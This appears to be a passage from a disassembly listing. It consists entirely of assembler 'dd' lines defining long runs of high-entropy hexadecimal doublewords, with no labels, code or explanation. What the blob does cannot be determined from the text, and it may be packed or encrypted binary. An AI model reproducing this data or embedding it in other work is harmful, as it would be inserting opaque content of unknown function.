		dd 90017AB7h, 0F5D12092h, 19FB049Fh, 754AF1ACh,	0AE8AAFC2h
		dd 0B4C2A85Fh, 1A93FBFDh, 67F55A66h, 0F1609639h, 0E8CE428Ch
		dd 142F7776h, 5F09723h,	0FF3C6517h, 4B7CB098h, 68052083h
		dd 0D99D4E38h, 0D27F956Ch, 0C7C4AA4Ah, 1FF1E9AAh, 0D56740F4h
		dd 5C0973E5h, 6C725D66h, 63963845h, 0FC2DAB53h,	0E322AF2Ah
		dd 0C079FD55h, 8E955EBh, 84C6C9F0h, 0A362E908h,	0B01D4BFEh
		dd 3B1F40D8h, 0F696F308h, 796E5DA1h, 0B8088185h, 193C72AAh
		dd 16339B20h, 0FE1DBF16h, 7655267h, 0E924DCABh,	5F3AEB59h
		dd 0FE97AEBCh, 22ADE912h, 7AFBE9A3h, 0D8283407h, 0C8005B66h
		dd 5F2C8D04h, 1A28BF0Eh, 0C8CF6A5Eh, 0FC1D64A3h, 82EF3B96h
		dd 0F6A2334h, 0DFECC286h, 0AAB196A5h, 45C21764h, 0B148EB0Eh
		dd 168F183Ch, 0FD077FBAh, 0B711A27Bh, 0A5D7FB7Dh, 4807D156h
		dd 0D50CE6Bh, 4BC67502h, 1A9BF072h, 7CFE4F1Dh, 33319744h
		dd 589DC2EFh, 4724AC1h,	0D41C1B81h, 526D8C3Bh, 5E3B429Fh
		dd 9D61C170h, 0C0A942C3h, 296FC6D4h, 80FAD0DBh,	8006089Eh
		dd 2515F0BFh, 0C4966DEAh, 0ED13F857h, 1FB01201h, 680B8A8Bh
		dd 81E654E2h, 0A45D5100h, 0A2B30576h, 8861F95Bh, 1A84D67Ch
		dd 58C745F2h, 97D1BE00h, 0B509CA8Ah, 0F0D2828Eh, 420F35CBh
		dd 4427077Dh, 46E456D6h, 0B436251Bh, 0D8E891E3h, 38980D79h
		dd 97A940EEh, 9B816049h, 5520264Eh, 50B07E04h, 609FF185h
		dd 2EF1B79h, 4217C781h,	1E00E549h, 6327B6E7h, 8F0F1206h
		dd 0E9F843F9h, 0A5AE6B8h, 0DC0736BBh, 6C50E718h, 37DF380h
		dd 0E9327A36h, 3000D378h, 4447CBBEh, 97DEF72Dh,	0AACEB480h
		dd 490CEF66h, 631686E9h, 29C04B12h, 0BAEB451Ch,	53DC65E6h
		dd 0CA8E2C02h, 4D567082h, 0F71CDF19h, 0FD793DFh, 14781FDAh
		dd 5C65C768h, 50A02B4Bh, 0C6385AB0h, 5C654F3Ah,	5C80B789h
		dd 2E840FC7h, 0BC256058h, 0B6865E32h, 0EFC29EDCh, 51495CE1h
		dd 0C8F87BEEh, 8006294Ah, 1F429FC2h, 1E0BF35h, 317F8D37h
		dd 0C54F59CFh, 0EDB7D581h, 0C74A9F76h, 220FF982h, 42C8FD01h
		dd 0EF3C242Ah, 82DEA03Eh, 0F08EC208h, 0CC565B88h, 0AD905154h
		dd 97E5C120h, 86E9672h,	2D1F004Ch, 2E0B05D1h, 1E61AD19h
		dd 0C90768F0h, 0CF40CF6h, 0D95029B8h, 0DEC3888Bh, 8B524533h
		dd 9D8273Bh, 0D9E77598h, 3051ED2Eh, 48D6A970h, 0A28FE3C5h
		dd 7BB904F0h, 0F7EBCDDBh, 0D9E90A38h, 0ABA5F431h, 3D89F730h
		dd 0C95379F5h, 2B83DD00h, 70814D27h, 131652F4h,	52698E0Fh
		dd 97A6EE21h, 0FEA2841Eh, 0FF5ECB42h, 0E916A0E6h, 0A141F6C0h
		dd 293C2E97h, 0AC16843Ah, 15E20083h, 0E97DD72Dh, 0FF4E2775h
		dd 25FA41Ch, 0B4AF9A25h, 344D9C57h, 6CF85E2Eh, 0CA34AA4Eh
		dd 0BA4A90ECh, 489ED898h, 54C54138h, 607FC15Fh,	604202E5h
		dd 0B70E9203h, 0AB897048h, 0BED17C4Fh, 590294B5h, 59A2BF4Eh
		dd 1DD97375h, 0CB71EFEEh, 0F79F22E9h, 0F11CD514h, 1365E820h
		dd 0E7936FE9h, 0E58258E1h, 5F81F4BAh, 6ED1C4Ah,	0CBEF01C5h
		dd 48522572h, 2C4BA3ACh, 0A0C15568h, 0D8D8007h,	6FA0B57Eh
		dd 165D3EBAh, 0B9E68104h, 0CAC00B2Bh, 27D54CC6h, 827FEFF6h
		dd 0C612A1ACh, 0AB545E1Fh
		dd 5970183Dh, 0BFDC50CEh, 4B35EC47h, 0F99E89F0h, 9C1CA70Eh
		dd 0BD70B8D0h, 0D7694A73h, 4168D6B8h, 8B8D0A4Eh, 5EF0AC2Eh
		dd 41FAD58Ch, 0F8DD216Fh, 7938C83Eh, 1D84C846h,	23D841FBh
		dd 2C65AC1Ch, 1F0B085Dh, 47B5C350h, 4413DE31h, 2EFA0A1Ah
		dd 59E9133Bh, 0A34F0EA8h, 51CBDFF6h, 0BEC115Fh,	12AD2164h
		dd 1D5DF92Dh, 0E2DF65BEh, 0F84C8121h, 5630C501h, 0C24148D1h
		dd 365552Fh, 0F1242A32h, 46DD2535h, 0B37EC0FBh,	8F0C022Ah
		dd 29500179h, 18B55908h, 2CD23133h, 0AD08ABE9h,	4CBFA59h
		dd 45EF1CAEh, 0BECA7C19h, 677EC330h, 0C3785A20h, 0E99B0196h
		dd 0B823A0ACh, 1703370Bh, 0CB585Eh, 925D8F7h, 0D4F4144h
		dd 6710721Dh, 7CC53501h, 43D4075Dh, 0B81CF66Ah,	0A8E75E6Ch
		dd 6768E073h, 427F8260h, 86E5DF47h, 0E0095CE2h,	9710ACB8h
		dd 1EF62BEEh, 0FD8C0B9Fh, 0B4892B4Dh, 956D7A06h, 6A6889F7h
		dd 8915F603h, 35A64C26h, 3D4F5D87h, 0CB4216EBh,	78FD05B7h
		dd 0EB006ECFh, 643A6040h, 57F10681h, 0C1B7752h,	290E120Bh
		dd 0B3E47748h, 74B01A25h, 9D946C03h, 34D71D14h,	0E26502CEh
		dd 901CB28h, 0D6B53D1Ch, 0BBA98B77h, 0CD778EF0h, 0A8402EF3h
		dd 680FB9EBh, 0F7431F66h, 35E8CDBh, 70E7641Ch, 3BD68C9Fh
		dd 955F47D8h, 1FE9A0FFh, 2F46271Dh, 0EBE284E9h,	957C555h
		dd 0C55E0B68h, 0D7A46789h, 0B9C21C32h, 0D482127Eh, 412B4049h
		dd 534406BEh, 40F1D7CCh, 692D68AFh, 800F9E7Fh, 0B58CE96h
		dd 95E97F21h, 0D8828543h, 8B954775h, 96778668h,	40A195D4h
		dd 7AFEC210h, 332E86B7h, 977DA53Bh, 8568E62h, 0EE44291Ch
		dd 201A21C9h, 32141C61h, 0A8C6067Bh, 4A728CE5h,	7C97EFF3h
		dd 28EC6DA1h, 1D29D6Eh,	6F595B0Ch, 57AC5CE8h, 0E082E925h
		dd 79CEBB9Dh, 0B8B76594h, 31B2AE7Ch, 7DDB6010h,	0BC4FB7Ch
		dd 0CDEA5E5Ah, 3D8000DAh, 7A5CA105h, 4A58E01Eh,	297C2FCFh
		dd 95582832h, 80F0E919h, 2AD94850h, 5E870B7Bh, 0C30143BEh
		dd 710951CAh, 0F0D7CB01h, 50F91227h, 0BD88018h,	556E1B19h
		dd 72A00D0Fh, 0DD894B94h, 11FEE912h, 0EB80EC40h, 0EC686665h
		dd 3124E93Eh, 1A0A67B4h, 0F0FC0999h, 51F9DF3Ah,	95C7FB92h
		dd 0C3618780h, 14666F64h, 951FE9A4h, 5083F8BAh,	572DE450h
		dd 866C013Dh, 0AC6B2C2Fh, 0E9246298h, 5C4C50EFh, 0FE5A0751h
		dd 0C54B5D5Fh, 5065FF68h, 4019A53Eh, 9EC831D4h,	0E650672Ch
		dd 5202E1F3h, 0B749FCBAh, 80B9D8DFh, 4B38E9B8h,	7A45F6C9h
		dd 57FB1C2Dh, 9D09E032h, 0C302C5Fh, 3022EE6h, 0E1520B2Fh
		dd 27E14EFFh, 0B5538D16h, 0B96820A8h, 65CBFCAAh, 99E91D94h
		dd 305928BDh, 0CDED6BDh, 0AD3F41D8h, 49462468h,	8D046B06h
		dd 2AB4FC5Ch, 0F1F5B33h, 308CC8B7h, 1266E7BDh, 0F86EF355h
		dd 388B09C4h, 243B05E4h, 0B29110D3h, 1D1DC7Fh, 20C008BDh
		dd 0FA842E80h, 23089BFh, 0BBA192ADh, 0D559CF28h, 0E171E8C7h
		dd 1182949Ch, 7F09DA4Eh, 6E16950Dh, 0BE2DF898h,	0F8D32D2Bh
		dd 0D5AEE906h, 0A21AB058h, 10C9FDA6h, 96FD3F58h, 4D9FE9C2h
		dd 52959864h, 25E2B047h, 1C520DC8h, 276CABFh, 9B89FA7h
		dd 0EC4F534Ch, 4AB06E17h, 1918169Dh, 3368C141h,	0F1FFC202h
		dd 64A7BD02h, 0EDC1442h, 6E27A1CAh, 674F2085h, 0FE58D0CBh
		dd 0E695C290h, 65340500h, 5E152F3Eh, 5016A7F0h,	9A00D30Dh
		dd 0BE4A78C7h, 69E9184Fh, 0C330601Dh, 0E168D497h, 8118D0E9h
		dd 4D39BF6Ch, 74E878FAh, 53449725h, 28D72C13h, 0F32A41FBh
		dd 0C3482668h, 0C2884784h, 0A1385722h, 2F6368F5h, 39E91050h
		dd 0A565B1BDh, 0EF4A1716h, 0E9126DA3h, 4F71B8E2h, 0F91CD5A6h
		dd 0DF4C3815h, 56FC5B8Ch, 26486801h, 50E9371Fh,	25CE002Ah
		dd 4DDC2C7Fh, 0A5F5E1A2h, 30AE4484h, 586E1D47h,	0B7986BF5h
		dd 3035414Ch, 75173B61h, 38B92DBBh, 3F33F679h, 0EFBE83B0h
		dd 99DF3494h, 0C09B570h, 31F023DEh, 0C95DB8E9h,	0F1575708h
		dd 19DE5244h, 1DFDEB88h, 446293ACh, 0FBB850F1h,	0DB819F4Ch
		dd 564838A2h, 0A07529A9h, 9AE9710Ch, 7268146Fh,	0D0D4D337h
		dd 821A7A2Eh, 23332F0Dh, 144131E2h, 3F843AE2h, 0B1C149EDh
		dd 0F01D4410h, 1F12ACC9h, 871D19EEh, 4BFB0E45h,	0D834B4BAh
		dd 4E462D48h, 7FA55EC4h, 282D054Bh, 0F6CAA9F7h,	23E9F08Dh
		dd 5E13E1BEh, 92449AF0h, 0E8709FD4h, 0F0506C7h,	0E4E290E3h
		dd 8970A9BAh, 2459A0B5h, 1FE7BB6Eh, 0B1E1B6Fh, 80D1D03Eh
		dd 2C2AA788h, 9DC30C0h,	3F4B456Fh, 28F11316h, 7481C07Dh
		dd 7F398A7Bh, 5507FCD2h, 0F59BEB40h, 5C4511B5h,	0C0BC81E4h
		dd 3BA4EE9Bh, 0CC13A94h, 64360347h, 81C506Fh, 9140C68h
		dd 825048E9h, 1985B61h,	802B1C68h, 0A469DD06h, 6DE97C13h
		dd 88EB74C4h, 144EA5BEh, 4F27CACh, 4BB3517Fh, 35FBE575h
		dd 6DE7EAC2h, 0E9304F16h, 2A68822Fh, 0D0B25D2Dh, 8B52DBD7h
		dd 96DD5D86h, 0ECC1B51Bh, 30F67FC6h, 0AE2CA10h,	247B8A68h
		dd 2EB8668Eh, 3CF9973Dh, 0C827850Bh, 89E2D9DCh,	0FEB4C97Bh
		dd 7A8EC082h, 70FF7FD5h, 0F5088280h, 0D6376544h, 899B3252h
		dd 2818DB18h, 404B0BC3h, 22093620h, 88018F58h, 515B66DCh
		dd 0E9CF5350h, 3001DA59h, 0E46530D8h, 60950692h, 3B49AEA2h
		dd 0E6390B70h, 63BD4689h, 143BD702h, 0C103E7E4h, 78C26279h
		dd 3FE0BF49h, 0C16EE32Dh, 9FD58B1Ah, 0FC822FFBh, 1F79F758h
		dd 0A23ED942h, 0FC47329Ch, 4E5B6248h, 84E9CC7Eh, 69B3BAD7h
		dd 0F4B84A4Ah, 0EE3197F3h, 5C21C82Ch, 932008F9h, 0EA34B5Ch
		dd 0C98F6501h, 0F28F83D1h, 7AADC043h, 0C30F2DE9h, 0F5D4E9CAh
		dd 58254210h, 0EA0D2AF9h, 0E82E24F1h, 0B84BA15Ch, 0FEB53D10h
		dd 2E496495h, 61A78F26h, 3B05E7C1h, 9D476480h, 0F681022Dh
		dd 605D134Bh, 0B274FFC0h, 0B4F9EEBDh, 81511508h, 130D22D2h
		dd 18ECA6Ah, 466A7C03h,	1700CD9h, 656FF729h, 0B0D3039Fh
		dd 3E15D03Dh, 76910FA6h, 2F85FE5Ah, 0B8D2CAB9h,	0B1E917A3h
		dd 28BA2847h, 7F3C3252h, 7C2DECE1h, 8F0F04A8h, 0E2AB7C38h
		dd 9F5B86C8h, 5EF67B5Dh, 0C273F866h, 0DCB47BE9h, 1952AD6Bh
		dd 0E067FB81h, 320BB568h, 741FD5E9h, 9AB4AC0h, 12220582h
		dd 5600F580h, 5F89CD8Ah, 0DF84C7D2h, 0B9FF21CBh, 0F57AEDB4h
		dd 8F64FC8Fh, 60C0719Dh, 17483ED3h, 50FD050Eh, 0E829827Ah
		dd 0E907812Dh, 3BBB0C7Ch, 5FA98C00h, 59CE31ABh,	62AB79BFh
		dd 0F12037CBh, 4F95F80h, 548D0F44h, 0CF1D9131h,	0D50AADEFh
		dd 0D088AC18h, 0B0AFB70Eh, 5BF807ABh, 64B6C504h, 0C514F25Fh
		dd 0C9EA1031h, 0F75FE1E4h, 0D9E38102h, 8278CF06h, 7F4540A2h
		dd 0B641C0D9h, 8A805070h, 5B330FDBh, 7AB54941h,	0F0240486h
		dd 0EB01A4CCh, 196D6F2h, 35618327h, 50317C8Eh, 0C09F23BFh
		dd 9D43E9B2h, 0EF939470h, 97FDD649h, 431F827Dh,	49AE04D7h
		dd 619AFA53h, 28E9CF50h, 3167328h, 19E377E0h, 0E640F329h
		dd 5D905E08h, 55EC259h,	4F07EFC1h, 0CC8DFE00h, 0F531659Bh
		dd 3BA3D92Ah, 0FF172B85h, 822984EAh, 0EEDE2CAAh, 1DE8383Ah
		dd 5B0C04D8h, 9DAA1C66h, 0D68A581h, 54373B74h, 771116C6h
		dd 0C5502FFAh, 983710D7h, 0B892971Ch, 215365D7h, 52E962BBh
		dd 5C13A85Ch, 38845EB3h, 5FCAEF20h, 2356609Ah, 15F6425Bh
		dd 779CD093h, 3F5BED0Dh, 4AFF2EFFh, 798B26C0h, 0DE099F64h
		dd 5B117A0Eh, 5151B0B0h
		dd 9130BBAAh, 5608A0EEh, 9AE9145Fh, 0EB5FBBB6h,	0F5C8E161h
		dd 0D3F704F2h, 78F15B46h, 26D06B38h, 1DE54266h,	5814D2Ah
		dd 0C0DD12A5h, 5385F536h, 7EEC6D34h, 13C654AFh,	42E9BD2Eh
		dd 1EC14207h, 8139D5B0h, 5B40EEA8h, 0FC2A477Ch,	6D0841E0h
		dd 64F5104Bh, 5465B80Eh, 0AF314CA5h, 59CADE02h,	869DD621h
		dd 6AF687E9h, 2042DBB7h, 1532138Ch, 5E690B7Bh, 0AA85ECC2h
		dd 716FC3AEh, 2E78EBD9h, 40628ECCh, 0B79966B2h,	1BC95793h
		dd 8420F37Fh, 0ABC81F68h, 0B4484AD3h, 919DBEBAh, 0BDC413D2h
		dd 49D5F701h, 761457EEh, 22D911EDh, 1001D929h, 29218F17h
		dd 9EFC2EFDh, 0E91DCC03h, 2604EA2Fh, 14080A35h,	3F6FF1EBh
		dd 6EDED6A8h, 496314EDh, 0FEE19C08h, 0A716CE26h, 0BE80E45h
		dd 0E316AF18h, 9F519617h, 40490B43h, 0C8AB7BC1h, 61BF0EF8h
		dd 1B3592EEh, 0C029D8D2h, 2A2DBD30h, 0D5A2291Dh, 12801C40h
		dd 0A85B443Ch, 882C9CBh, 0F8D60278h, 0F504AB12h, 0FB12FEB0h
		dd 75F80C99h, 4CDE9FB8h, 5A51F842h, 0C05E4F2h, 0DA016249h
		dd 0CAA985BEh, 494375Fh, 834E05EAh, 3F101FFh, 635B5DE9h
		dd 1EAB93DCh, 0AE23D3CEh, 4BC1129Ch, 0C021BF52h, 0FB510860h
		dd 0A63F26F5h, 52A72D88h, 66412F59h, 0C85FA9Bh,	8B2ACB35h
		dd 0D9A72AE7h, 85FB0717h, 612CEB66h, 0F6D4B705h, 6E29F089h
		dd 64FC98F0h, 0F9EB1720h, 4EEC48A8h, 2EF52EFh, 41920AF2h
		dd 450279F5h, 9ED70053h, 0E94E7F0Eh, 7480F25Ah,	0F43D831h
		dd 0E8F43593h, 0E46C0E76h, 0A465AF3Fh, 0E9092FA6h, 2B1AB8Eh
		dd 605BDF6Ch, 3939CF91h, 0F9D01611h, 4F5358E6h,	0CFBE909h
		dd 0F8949455h, 33034F06h, 12FCF832h, 69C392A0h,	52DD83B1h
		dd 8B4A13Dh, 4E435102h,	2F2A5D88h, 0AEB06690h, 79B75326h
		dd 0FF23C889h, 5C1EB66Ch, 5D278156h, 0F8B6F694h, 0FDE0D389h
		dd 0E925FDECh, 0BD8300BAh, 51615BE4h, 2E20CD09h, 0EA674E0Fh
		dd 4158F201h, 8EE85171h, 0A7DBC10h, 0BADBE1E9h,	501F4598h
		dd 0BEC15357h, 36841093h, 0C9D87EF4h, 0F5325A24h, 4B44F400h
		dd 619064D0h, 0E956510Bh, 95DDF89Eh, 0EA6237DCh, 167C09DBh
		dd 1170B371h, 247797EDh, 0AD82CDFEh, 75014AF5h,	0C96E8F7Eh
		dd 6A43A0E8h, 9DC48B93h, 7FED4DE9h, 0A5741AA5h,	79152D68h
		dd 40D29874h, 2C5D2ACEh, 9A18625Fh, 53DF0F2Fh, 0A4C1A541h
		dd 21B124F5h, 6C03710Fh, 76E66959h, 9E5D2F7Bh, 0DCE9158Dh
		dd 0C512FEB4h, 811DD7F3h, 2B6C8048h, 10444B91h,	0FDC8B02h
		dd 24C49588h, 9FA420ACh, 0E3D7ACF2h, 2598CFBFh,	0EA7B2075h
		dd 125D1BB9h, 10FA0106h, 5F2F0831h, 60544031h, 570D1C1h
		dd 34305F9Dh, 12E12444h, 612F4088h, 9CFE4FB9h, 0D5955F04h
		dd 0E912AA96h, 0CA40D214h, 0F987475Fh, 0A8F10181h, 685C8D4Ah
		dd 0B5A3688h, 900348E9h, 2D562E05h, 5BD03320h, 202CDBB5h
		dd 63DE02FCh, 0E8291366h, 42DD595Dh, 0C8F558C3h, 6EE9F2F6h
		dd 21254A6Eh, 43D72CF3h, 0BE0D897h, 419F3ED8h, 50B55D80h
		dd 0F0B5FBBBh, 25F95CAh, 0E8E08B20h, 9D04E739h,	9A8279DEh
		dd 0DE3EC94Ch, 0AAB8373h, 1C0045C8h, 2188B102h,	33E9FB09h
		dd 0EE43C251h, 0DF63C00h, 46206264h, 0C1D658F7h, 84017958h
		dd 0E9CE2987h, 3E96C99h, 0D9408EBEh, 5894D223h,	9C68109Fh
		dd 0AB2C7A5Bh, 7D495A03h, 0BB07878h, 9818401Dh,	123F0DE4h
		dd 6D049248h, 72BECEFAh, 225FD287h, 0AD3586h, 4C72CB81h
		dd 0C70BA26h, 8916ED19h, 0D0498751h, 0E5EA2797h, 59047F98h
		dd 8237E45Bh, 6B49B908h, 6BEFFDEAh, 5F591709h, 925A3C96h
		dd 18B2C800h, 0F4DFCA80h, 0A7C649B4h, 5B635810h, 0FD90B0A3h
		dd 0E117E913h, 0D7E66AAEh, 0E160E9C4h, 0DDCA7B89h, 239BEA65h
		dd 0D13D9E60h, 0A3678D05h, 2C9B1B59h, 6C00DD3Ch, 1FA62BCBh
		dd 54BA820Fh, 4F6CD2BCh, 0D729CC11h, 58F0A1Fh, 0DF04B774h
		dd 5C047993h, 0CFB2AA51h, 0F902B584h, 4E160E38h, 0C6813D3Ah
		dd 7DF5142Dh, 6F8E56Ah,	14821C08h, 5B1DCBC0h, 0EE91A097h
		dd 6ECE7483h, 854373Ch,	0A1FF583Eh, 132EFFC3h, 0F8E0AAE1h
		dd 69F37231h, 5F1108DEh, 110281Dh, 2C1993BBh, 92214B5Ah
		dd 13B4AB70h, 0F6E3889Ah, 0E2B504E7h, 0DCACDD28h, 12241CD3h
		dd 0DE97BD46h, 54F8ADD2h, 0E75D8725h, 92E91E85h, 9F53AD3Ch
		dd 0ABD220A2h, 34780B98h, 0EA855E51h, 7631387Ch, 5700A2BDh
		dd 0DF0D6850h, 26535B58h, 0B85021E1h, 281D82CEh, 99D6C45h
		dd 921BDDCCh, 8B58FEE0h, 0F6AD3C4Fh, 5BE2BBA5h,	5897878Ch
		dd 710F7598h, 8507E540h, 34E9B6CDh, 8E2FBCD3h, 9A83D6E9h
		dd 4ABA1049h, 0C7EC4E9Fh, 0DF8D528Dh, 69F865FAh, 62415E9Dh
		dd 94D5D1E3h, 0D6207E1Dh, 0DD1DA86Ch, 8B46D895h, 5BD2045Ah
		dd 0F601C8A8h, 80FA86D2h, 49E7E3EFh, 0CEC12743h, 748FE0A5h
		dd 2BE28CBh, 0D6334F3Ah, 8A62C95h, 0DDA5D976h, 8B828A45h
		dd 0E2F830DBh, 52BEDE75h, 3D2034D2h, 2DBA124Eh,	0C1CA0476h
		dd 0C7B1EAE2h, 3F45A420h, 0FBD82531h, 0C36C1970h, 7105241Eh
		dd 85066AF7h, 5805DBF7h, 0B90402D3h, 0FE53865Eh, 4C8D4342h
		dd 0BF996084h, 4FF4925Ch, 390CEBEFh, 0FA5E5C5Bh, 0E2F4ED45h
		dd 47060162h, 0F38D0F4Ch, 9E5038E4h, 4DD88445h,	0DE18BFD2h
		dd 4C7F256Ah, 0C4214A77h, 77E8AFCEh, 53422FCBh,	19959EDFh
		dd 39E578E9h, 8A6C8FE2h, 7F651E94h, 22248DB8h, 58012C04h
		dd 9DFF6368h, 0F11F41E2h, 8B85C31Ah, 0CA2D0395h, 0A8629D15h
		dd 24D91EB4h, 2D61051Ah, 0FA9745F8h, 92179713h,	67660A27h
		dd 32FC8E09h, 24797FF4h, 0A062A6BFh, 4C905267h,	16537B33h
		dd 85DAF75Ah, 106CA943h, 5826EECFh, 1E552F6Dh, 1FE912DAh
		dd 0B699BB90h, 54383A21h, 1C5C6817h, 1F70E56Fh,	0A9FAF602h
		dd 0DF62E9F4h, 188B8DA1h, 1557DAE0h, 29570BE8h,	819631DEh
		dd 8452BE4Fh, 27BDF522h, 0B21DF605h, 71A88127h,	0F246ADDEh
		dd 0CAC7558Dh, 14A2B301h, 0DB148526h, 0AA162E6Eh, 60368BC4h
		dd 0D8EB92Ah, 0F1F8F780h, 25713DEh, 970AEE66h, 5B03DA49h
		dd 0B0342659h, 125010E9h, 0BE2D60A6h, 0C82988C1h, 9E756CF0h
		dd 2258C72Eh, 17220419h, 4C06F6A9h, 320BF06Ah, 2951103Dh
		dd 86945D9h, 22DB964h, 51F101D4h, 0ABD462AAh, 48FB5F09h
		dd 6A252AACh, 0DDFA0922h, 5205F516h, 0E995B151h, 0B52C5686h
		dd 0AE18CFCh, 0E66E5153h, 0F0CA1024h, 115EFF5Ah, 2DB37995h
		dd 127456D1h, 3CBA0B25h, 62B82407h, 0C0FD3501h,	0E2D0472h
		dd 5DBB54BDh, 39EAA5A2h, 0B68E283h, 0FC5B422Dh,	0BB973CFFh
		dd 0BC9253DCh, 445904D8h, 25FF4228h, 6ECBFA3Ah,	0B500F691h
		dd 68D5F642h, 32B93C1Bh, 0FE4A2310h, 0A84FD48Fh, 0D2A01338h
		dd 1E5435A3h, 8CEB05B2h, 0B2CA295Ch, 0A0849273h, 2FFCEAB0h
		dd 9440B046h, 63E07F5Bh, 0D450FB7h, 13F0A05h, 0D57E3C35h
		dd 0C2113BFDh, 59EC4F84h, 8D422DDCh, 5DBBEADFh,	5D24A6F4h
		dd 6F374A08h, 0E34EFB05h, 42BA25ECh, 0F3D54Fh, 40C4D125h
		dd 186F6EC7h, 0BEE2D130h, 0B8994FD3h, 4EC606C3h, 0AE442802h
		dd 1F8FAB09h, 1522DDA5h, 500B910Fh, 5BB7F08Eh, 786B403h
		dd 814E40h, 6F53A6E1h, 61856819h, 84E95AA8h, 0BC5D1840h
		dd 0EFE385ADh, 0C43ABCFEh, 0A1179DAAh, 17182FA6h, 4A68590Ah
		dd 0F630FED9h, 91FECAF8h, 6C1169FEh, 8D953E8Eh,	4820E799h
		dd 93E6B405h, 0F8128D58h
		dd 54D7A730h, 3F2A5E30h, 2D597425h, 2EDF4272h, 1463A10Bh
		dd 0BD7E6576h, 0B3885083h, 67981E05h, 8092F5E9h, 0FBC5FD5Ah
		dd 255B9F88h, 505F2AF0h, 0E9C266B2h, 89A9DA54h,	6812CAD0h
		dd 6614407h, 53885991h,	9B3A804Fh, 0D1C8A6CCh, 8A3FC54Ch
		dd 94DA10AEh, 67EFBA02h, 0A570096Bh, 5082770Eh,	6600D3C1h
		dd 0CF26B0E2h, 0ECD19041h, 77632C22h, 81F5267Ch, 2EB909BAh
		dd 5AFC8912h, 4C037D21h, 0B54E717Eh, 97C414C4h,	0E102ECAEh
		dd 906F44DEh, 19BF57F6h, 12C27A13h, 2063A88h, 6FC8F781h
		dd 32F5D9Dh, 0EC051E02h, 5EA80EEBh, 0CFC4F1CEh,	2DEB824Eh
		dd 0C0560784h, 5D2A50A0h, 25E96A26h, 0BF8FAB24h, 2DB2A61Ch
		dd 0D744BF54h, 176279B0h, 73F9891Bh, 27CC24FAh,	16AF7551h
		dd 65BB0373h, 4B64505Bh, 0EF38188h, 67514D16h, 16699C01h
		dd 163A0301h, 0FA89AB08h, 41FBBC60h, 0BA897F6Ch, 7E12E57Ah
		dd 98528FD9h, 95BC78C9h, 9721EFDh, 0EF8829B5h, 807B6296h
		dd 0D7F6711Dh, 0FD86C74Bh, 58E21E40h, 8EB8D2F6h, 71B9DC7Fh
		dd 71E8F525h, 2EBCCE82h, 2E040F83h, 8D0C053Dh, 1659348h
		dd 0BD4C7EA1h, 0DB2D6F06h, 8422AA3Ah, 542AD705h, 12C72484h
		dd 0E798BAD0h, 0FE3B8C2h, 0EA0118E8h, 2508A81Ch, 68D81CE9h
		dd 5B4CD49Fh, 0C1093283h, 0FD172DEDh, 9AC76F00h, 4B4FF34Ah
		dd 0CCB09AFh, 20AF94F5h, 583B6B62h, 6046BE53h, 3BC1EB4Bh
		dd 27619DC5h, 55560005h, 0F77019E8h, 800716DBh,	0A8A4C928h
		dd 0ED94E97Bh, 13927478h, 842CE906h, 0F2AB5AD7h, 0B2BE82D4h
		dd 0C1FE92FEh, 905156A1h, 0E4E89D34h, 38F2A166h, 0C3BEF0F4h
		dd 76BFBB2Ch, 0C33E4250h, 7C4C900Ch, 0C3E0C34h,	43022028h
		dd 23E489A0h, 19847359h, 5E40ECC8h, 0ABE48A35h,	0E170940Fh
		dd 6E17D468h, 1D64CE2h,	0DB0DF6A3h, 0FEFC6B3Bh,	356F0841h
		dd 532C04E4h, 0F7680258h, 607CDC2Fh, 1CF42D1Fh,	0EC0666BFh
		dd 0C40FDF5h, 2D57D7C6h, 2DE0222Ch, 0D1B95A87h,	46211164h
		dd 3F8E04A4h, 4CDE1D10h, 74BD0FC5h, 7C454C4Ah, 253B1291h
		dd 0A0A0BF17h, 6FA0B706h, 4F283D18h, 2D600CC0h,	5BE9E451h
		dd 5FC8A8A4h, 0E9752CFEh, 73C0C35Ah, 3D07F380h,	327DD88h
		dd 0FC29F486h, 902FA598h, 11395F61h, 1C9C6CBEh,	340F26BBh
		dd 0AA704475h, 0F79FF6D1h, 22CDBF04h, 9FCA5BECh, 8BC4DBDEh
		dd 8B10EDBAh, 3D9D7205h, 83974D2Dh, 4103F86Eh, 1CF26A07h
		dd 0B1C0BA4Bh, 2D55B9C3h, 5DD22C8Ch, 0A2010882h, 7C7E2A0Eh
		dd 1F700511h, 0B40D5F94h, 0BC6AD916h, 0F6999CE2h, 67E9EA17h
		dd 0B43B9931h, 3A28AE5Bh, 0F21DFE7Ah, 77962EBEh, 1FE93345h
		dd 0B7494093h, 3E44A8C6h, 0EACBCB6h, 0E824B8E0h, 0C3782D11h
		dd 0F13F7741h, 34DB0052h, 1C58B343h, 0B6522B4Ah, 19CAE95h
		dd 3EEBBB53h, 0A82A62C2h, 0F97B1026h, 0C05A0A52h, 28970456h
		dd 0EA0089EEh, 4135B95Dh, 0D8314CCDh, 365148AEh, 0D801582Fh
		dd 0A5E9160Ah, 0A66DE8DFh, 0CB029D83h, 6801076Ah, 6C7638FEh
		dd 3D97351Ah, 49ACDC55h, 0E1E6D889h, 0B873F829h, 1684203h
		dd 550C0577h, 1229306h,	0A95EBCB1h, 419C790Ch, 139C6D08h
		dd 13BC555Ch, 0D6BEB34Eh, 0FED3FD04h, 68DC90ABh, 1BC53DA7h
		dd 48BA08EBh, 99BD01B9h, 4898ED0Bh, 8A8EA479h, 8FFF6E0Bh
		dd 9201836Ah, 98F6B34Ch, 0C81AB075h, 56031ED2h,	101FEC68h
		dd 25529E51h, 0E99EF55Bh, 5457FCBFh, 57ABE2B5h,	0E9610759h
		dd 1F79C3A2h, 9842D3C8h, 24FD46B4h, 9DFBE1F6h, 626804CCh
		dd 2A07C93Fh, 954A4DC6h, 907B9C55h, 58164014h, 20511C9Ch
		dd 1192578h, 0C6599A4Ch, 5C8724C0h, 0F29FAD50h,	1D341501h
		dd 6D91E92Eh, 58F6413Ah, 7AD2E093h, 5E59E504h, 4FEB8307h
		dd 58A36906h, 2F130F5Ch, 6D927F5h, 0D7FC4FEFh, 0FA5E58F6h
		dd 36E9AC70h, 0ECF395D9h, 0CEE679ADh, 8898AE37h, 85681259h
		dd 93C0AA25h, 0FB63564Bh, 0B0C6FE4h, 0C7E95709h, 0C3807C21h
		dd 5BD8C0CDh, 0C44E5AB0h, 685EBF20h, 0F83A4A29h, 7917B572h
		dd 0E9DD80ABh, 65BD1F16h, 9A24305Bh, 374A0C3Fh,	82A4987h
		dd 714B7427h, 0FD856E87h, 0C5F1F3EEh, 0A5F85DE9h, 0B06EB5Fh
		dd 0FCCB6EF7h, 0C743B7C5h, 0F5C8D0DAh, 0A125685Ah, 51F7311h
